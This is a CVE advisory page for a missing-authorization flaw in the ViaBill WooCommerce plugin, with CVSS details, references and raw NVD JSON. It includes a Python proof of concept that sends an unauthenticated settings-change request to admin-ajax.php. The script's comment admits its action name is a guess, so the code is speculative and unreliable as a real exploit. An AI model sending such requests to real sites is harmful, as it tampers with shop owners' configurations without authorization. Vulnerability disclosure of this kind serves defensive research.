CVE-2026-25469

Description

Missing Authorization vulnerability in ViaBill for WooCommerce ViaBill – WooCommerce viabill-woocommerce allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects ViaBill – WooCommerce: from n/a through <= 1.1.53.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L

Configurations (Affected Products)

No configuration data available.

ViaBill – WooCommerce <= 1.1.53

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL of the vulnerable WordPress site
target_url = "http://example.com/wp-admin/admin-ajax.php"

# The action parameter usually triggers the vulnerable function
# 'viabill_update_settings' is a hypothetical action name based on the vulnerability description
payload = {
    "action": "viabill_update_settings",
    "viabill_option_key": "malicious_config_value"
}

try:
    # Send POST request without authentication headers
    response = requests.post(target_url, data=payload)

    if response.status_code == 200:
        print("[+] PoC executed successfully.")
        print("[+] Response:", response.text)
    else:
        print("[-] Request failed with status code:", response.status_code)

except Exception as e:
    print("[-] An error occurred:", str(e))

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-25469
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-25469
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-25469/
[4] VulDB https://vuldb.com/cve/CVE-2026-25469
[5] https://patchstack.com/database/Wordpress/Plugin/viabill-woocommerce/vulnerability/wordpress-viabill-woocommerce-plugin-1-1-53-settings-change-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-25469", "sourceIdentifier": "[email protected]", "published": "2026-03-25T17:16:52.827", "lastModified": "2026-04-28T19:37:07.830", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in ViaBill for WooCommerce ViaBill – WooCommerce viabill-woocommerce allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects ViaBill – WooCommerce: from n/a through <= 1.1.53."}, {"lang": "es", "value": "Vulnerabilidad de autorización faltante en ViaBill para WooCommerce ViaBill – WooCommerce viabill-woocommerce permite Explotar Niveles de Seguridad de Control de Acceso Incorrectamente Configurados. Este problema afecta a ViaBill – WooCommerce: desde n/a hasta <= 1.1.53."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/viabill-woocommerce/vulnerability/wordpress-viabill-woocommerce-plugin-1-1-53-settings-change-vulnerability?_s_id=cve", "source": "[email protected]"}]}}